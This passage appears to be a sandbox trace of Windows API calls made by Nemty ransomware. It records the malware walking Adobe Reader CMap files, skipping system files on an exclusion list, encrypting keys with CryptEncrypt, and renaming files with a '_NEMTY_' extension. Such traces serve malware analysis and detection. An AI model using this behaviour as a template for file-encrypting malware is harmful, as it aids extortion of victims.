pszString="Q8dQ3MRhRCunFwCOsr1+eHTsWsnzS0KK6t8n6bDl78tkrYPxJiaSIoi7nOeict4l\r\n6Iqp3mtCaUTW8jxUa4HHIEaPa5DA1vWPXAHeKvvAaayNHP0ysWQAI7zX04o2xmDb\r\nipkf/kDHz3tWKaXbPmIlPSEBxF4uKP4Uj78Gr6tvECdpdlY/qDF4OCYn+8kZtI+U\r\nxHWY6tk9tlrMIjLW/t/Lf+zwuv8fEbVBGTV2Hc28HQVCkBzWxJS1rkrT9QXIk7sR\r\nB7DbpbjauqH2YKbALhzUkO9O9lfOO4n30hkZjW1MEC2KuaAo5OximO0F9DEqKIoJ\r\nFFqLqkHNzyN9bLFVMuFZ1g==\r\n", pcchString=0x653e91c) returned 1 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0205.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0205.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.357] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.464] CloseHandle (hObject=0xffffffff) returned 0 [0205.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0205.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0205.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.465] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2._nemty_kgobjgd_")) returned 0 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.465] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="GBK-EU~3")) returned 1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2=".") returned 1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="..") returned 1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="...") returned 1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="windows") returned -1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="rsa") returned -1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="NTDETECT.COM") returned -1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="ntldr") returned -1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="MSDOS.SYS") returned -1 [0205.465] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="IO.SYS") returned -1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="boot.ini") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="boot.ini") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="ntuser.dat") returned -1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="desktop.ini") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="CONFIG.SYS") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="RECYCLER") returned -1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="bootmgr") returned 1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="programdata") returned -1 [0205.466] lstrcmpiW (lpString1="GBK-EUC-V", lpString2="appdata") returned 1 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0205.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0205.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0205.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0205.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0205.466] Sleep (dwMilliseconds=0x5) [0205.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e1d22d0, dwHighDateTime=0x1d561e8)) [0205.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e1d22d0, dwHighDateTime=0x1d561e8)) [0205.488] GetLastError () returned 0x5 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.488] GetLastError () returned 0x5 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.488] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0205.488] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="Sr+N+cHxUE2bnh7Yw9Nsn3CB4E4k8+3d7V3idw3ChX3XSKyZJpeMtUDPiMEvK+nU\r\n2B39jh+AUgBiqAldNiBI0J0BnW6vHftVN2kRPU2gdxyB5A6Qj3O8tibd+DQRtHRZ\r\ntBr3whIfjkTRsbVTtfs5UVYjLe2ttyN36F51hKa4XQ9n6UaNMIncWEZYWnWxklRS\r\nGNekGuLsVaQlXW1qedVVJLhC9oH2bGOg5Q/CJ2GKNWbdd24oISF/F8trRsgZuqYe\r\ncv5PVy1Ypb7zFAwI9m8ZXmwf7x5XTM13Z8Pm+8p12QgPs7lgvQQztm/saz9Un+JZ\r\nPOFUNwQ4EAFwI5tJpi8iaQ==\r\n", pcchString=0x653e91c) returned 1 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0205.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0205.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.489] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 